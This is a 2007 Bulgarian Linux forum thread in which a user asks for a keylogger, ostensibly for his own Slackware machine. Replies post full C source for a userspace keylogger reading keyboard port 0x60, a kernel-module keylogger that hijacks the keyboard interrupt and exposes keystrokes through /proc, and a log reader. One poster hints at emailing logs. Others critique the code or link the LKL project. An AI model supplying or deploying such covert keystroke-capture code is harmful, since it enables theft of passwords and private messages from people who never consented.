Титла: Търся keyboard reader(logger)
Публикувано от: STOMANATA в Jul 16, 2007, 17:33
за слака ми трябва! не са ми нужни опции за ремоте, изпращане на лог по е-маил и тнт. трябва ми за ли4ната ми машина...
Титла: Търся keyboard reader(logger)
Публикувано от: divak в Jul 16, 2007, 20:13
По принцип ... както и да е ... пробвай това  Примерен код | #include <stdio.h> #include <unistd.h> #include <sys/io.h> #define KEYBOARD_PORT 0x60 #define KEYBOARD_STATUS_PORT 0x64 #define LOGFILE "/home/STOMANATA/keylog/log" int main(int argc, char *argv[]) { int key, key_buffer; FILE *file; //set the permissions for the port 0x60 if (ioperm(KEYBOARD_PORT,1,1) == -1) { perror("ioperm()"); return -1; } //set the permissions for the port 0x64 if(ioperm(KEYBOARD_STATUS_PORT, 1, 1) == -1) { perror("ioperm()"); return -1; } while(1) { key=0; //otherwise the system will do strange things;) if(inb(KEYBOARD_STATUS_PORT) == 20) { //read the pressed key;) key=inb(KEYBOARD_PORT); } if (key != 0) { //check if it is a new key, or if the key before is still pressed if (key != key_buffer) { key_buffer=key; //write the key to the LOGFILE file=fopen(LOGFILE, "a"); if (file == NULL) { perror("fopen()"); return -1; } fprintf(file,"%i\n",key); fclose(file); } } //sleep one ms usleep(1); } //while(1)...;) return 0; }
|
Като се замисля ...ще взема да си цензурирам написаното  За пращането на лога по мейл ...импровизирай.
P.s. Всяка прилика с чужд код ...въобще не е случайна !!!
Титла: Търся keyboard reader(logger)
Публикувано от: gat3way в Jul 16, 2007, 21:13
 Не е толкова просто обаче - първо ioperm() изисква superuser-ски привилегии, така че потребителят STOMANATA ще го подкара, но в някоя паралелна реалност  А ако имаш SELinux в enforced режим най-вероятно и това няма да помогне особено (редхат и centos например много си го обичат). Като цяло обаче това май е малък проблем. С това нещо няма да можеш по никакъв начин да хванеш кой какво си бил писал по tty-то при положение че се е лог-нал през ssh. Отделно имам съмнения доколко ще сработи с X конзоли. Ъъъ абе също така мисля, че е малко тъпо това да се реализира със streamed I/O. Просто ако бях зъл потребител и знаех за това, бих пробвал да си поиграя с някои alt-numpad комбинации, може пък някои от тях да имат интересен резултат, не съм се замислял много-много  Тоя дето е писал този keylogger не е бил много сериозен ми се струва 
Титла: Търся keyboard reader(logger)
Публикувано от: divak в Jul 16, 2007, 23:18
На Пърл също може да се измисли нещо ... Term::ReadKey, Term::ReadLine, и Term::VT102 могат да влязат в употреба  ....доста черна при това  . @gat3way какво мислиш а това ? Примерен код | //lkm_keylog.c //------------------------------------------------ #include <linux/module.h> #include <linux/kernel.h> #include <linux/proc_fs.h> #include <linux/sched.h> #include <linux/workqueue.h> #include <linux/interrupt.h> #include <asm/uaccess.h> #include <asm/io.h> #define PROC_NAME "lkm_keylog" #define DEBUG struct proc_dir_entry *Proc_File; static struct workqueue_struct *workqueue; unsigned char log[1000000]; unsigned int counter=0; int procfile_read(char *buffer, char **buffer_location, off_t offset, int buffer_length, int *eof, void *data) { int ret; if (offset > 0) { ret = 0; } else { ret = sprintf(buffer, "%s\n", log); } return ret; } static void log_char(void *scancode) { #ifdef DEBUG printk(KERN_INFO "Scan Code: %x\n", (int)*((char *)scancode) & 0x7F); #endif //log the scancodes;) log[counter] = (int)*((char *)scancode) & 0x7F; counter++; } irqreturn_t irq_handler(int irq, void *dev_id, struct pt_regs *regs) { static int initialised = 0; static unsigned char scancode; static struct work_struct task; unsigned char status; status = inb(0x64); scancode = inb(0x60); if (initialised == 0) { INIT_WORK(&task, log_char, &scancode); initialised = 1; } else { PREPARE_WORK(&task, log_char, &scancode); } queue_work(workqueue, &task); return IRQ_HANDLED; } int init_module() { #ifdef DEBUG printk(KERN_INFO "lkm keylog is loading...\n"); #endif //create /proc/PROC_NAME Proc_File = create_proc_entry(PROC_NAME, 0644, NULL); if (Proc_File == NULL) { remove_proc_entry(PROC_NAME, &proc_root); return -ENOMEM; } Proc_File->read_proc = procfile_read; Proc_File->owner = THIS_MODULE; Proc_File->mode = S_IFREG | S_IRUGO; Proc_File->uid = 0; Proc_File->gid = 0; Proc_File->size = 37; #ifdef DEBUG printk(KERN_INFO "created PROC_NAME successfully!\n"); #endif //create new keyboard irq handler workqueue = create_workqueue("WQsched.c"); free_irq(1, NULL); if (request_irq(1, irq_handler, SA_SHIRQ, "keyboard_irq_handler", (void *)(irq_handler)) != 0) return -1; #ifdef DEBUG printk(KERN_INFO "created new keyboard irq handler successfully!\n"); #endif #ifdef DEBUG printk(KERN_INFO "lkm keylog loaded successfully!\n"); #endif return 0; } void cleanup_module() { //remove /proc/PROC_NAME remove_proc_entry(PROC_NAME, &proc_root); //disable the keyboard handler (free its irq) -> reboot;) free_irq(1, NULL); #ifdef DEBUG printk(KERN_INFO "lkm keylog unloaded\n"); #endif }
|
и
Примерен код | #include <stdio.h> #include <stdlib.h> #define PROC_NAME "lkm_keylog" int main(void) { FILE *keylog; unsigned int c; keylog=fopen("/proc/PROC_NAME","rb"); if(keylog == NULL) { printf("could not open /proc/PROC_NAME\n"); return EXIT_FAILURE; } else { while((c=getc(keylog)) != EOF) { if (c != 0) printf("%x\n", c); } } return EXIT_SUCCESS; } //get_logs.c //------------------------------------------------
|
Какви неща може да намери човек ...стига да знае какво иска ... Трябва да се направи раздел тук за подобни глупости 
P.s. Това с кода си го знаете вече 
Титла: Търся keyboard reader(logger)
Публикувано от: STOMANATA в Jul 17, 2007, 09:50
DIVAK мерси за отговорите! ще ги пробвам дове4ера. а тоза влизанията през ssh или пращането по е-маил няма да ми трябва. идеята е да си го пусна сутринта пък ве4ерта като се завърна да видя дали някои не е писал от мое име по 4атовете... друго не ми трябва. а можеш ли да посо4иш от къде 4ерпиш тази информация 
Титла: Търся keyboard reader(logger)
Публикувано от: paucku в Jul 17, 2007, 10:25
Ето едно готово решение. Все пак, защо да откриваме топлата вода http://sourceforge.net/projects/lkl/Цитат | LKL is a userspace keylogger that runs under Linux on the x86 architechture. LKL sniffs and logs everything that passes through the hardware keyboard port (0x60). It translates keycodes to ASCII with a keymap file. |
Титла: Търся keyboard reader(logger)
Публикувано от: STOMANATA в Jul 17, 2007, 10:39
Това с lkl го бях пробвал. мъ4их с us_km и другите там но като си цъкна на irc и напиша нещо в seen в лога се появява само null null и разни такива! няма въвежданите символи...
Титла: Търся keyboard reader(logger)
Публикувано от: STOMANATA в Jul 17, 2007, 12:47
полу4ават се грешки: /loger.py: line 1: syntax error near unexpected token `newline' ./loger.py: line 1: `include <stdio.h> ' ./loger.py: line 13: struct: command not found ./loger.py: line 14: static: command not found ./loger.py: line 16: unsigned: command not found ./loger.py: line 17: unsigned: command not found ./loger.py: line 19: syntax error near unexpected token `(' ./loger.py: line 19: `int procfile_read(char *buffer, char **buffer_location, off_t offset, int buffer_length, int *eof, void *data) ' и ./loger.py: line 6: syntax error near unexpected token `(' ./loger.py: line 6: `int main(void) ' това за всеки 1 от фаиловете! 3 файла- 3 грешки 
Титла: Търся keyboard reader(logger)
Публикувано от: gat3way в Jul 17, 2007, 15:25
Титла: Търся keyboard reader(logger)
Публикувано от: STOMANATA в Jul 20, 2007, 20:51
кое му е нечвешкото? и кой от 3-те скрипта как да подкарам?
|